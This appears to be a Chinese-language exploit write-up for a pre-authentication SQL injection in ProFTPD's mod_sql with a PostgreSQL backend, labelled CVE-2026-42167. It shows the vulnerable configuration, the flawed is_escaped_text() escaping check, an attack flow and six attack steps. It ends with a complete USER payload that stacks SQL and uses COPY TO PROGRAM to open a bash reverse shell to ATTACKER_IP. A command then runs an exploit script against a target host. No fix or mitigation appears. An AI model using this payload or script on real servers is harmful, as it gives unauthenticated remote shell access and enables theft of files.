LoadModule mod_sql.c
LoadModule mod_sql_postgres.c

SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity

static int is_escaped_text(const char *s) {
  size_t slen = strlen(s);

  /* 假设字符串已转义，如果：
   *   1. 以单引号开头
   *   2. 以单引号结尾
   *   3. 不包含内部单引号
   */
  if (slen >= 2 &&
      s[0] == '\'' &&
      s[slen - 1] == '\'' &&
      strchr(s + 1, '\'') == (s + slen - 1)) {
    return TRUE;  /* 跳过转义 */
  }
  return FALSE;
}

FTP 客户端                ProFTPD                  PostgreSQL
    │                         │                         │
    │── USER '<payload>'  ──▶ │                         │
    │                         │ 展开 %U = '<payload>'   │
    │                         │ is_escaped_text() = TRUE│
    │                         │ 跳过转义                │
    │                         │── INSERT INTO activity  │
    │                         │   VALUES ('<payload>',  │
    │                         │   ...) ──────────────▶  │
    │                         │                         │ 执行堆叠 SQL
    │                         │                         │ COPY TO PROGRAM
    │                         │                         │── shell 命令 ──▶ 操作系统

步骤 1：攻击者发送精心构造的 USER 命令（预认证，无需凭据）
        │
        ▼
步骤 2：ProFTPD 使用攻击者控制的值展开 %U
        │
        ▼
步骤 3：绕过 is_escaped_text() — 原始 SQL 未经转义直接通过
        │
        ▼
步骤 4：PQexec() 对 PostgreSQL 执行堆叠查询
        │
        ▼
步骤 5：COPY TO PROGRAM 以 postgres 操作系统用户身份执行攻击者的 shell 命令
        │
        ▼
步骤 6：反向 shell / 文件窃取传递给攻击者

USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'

python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT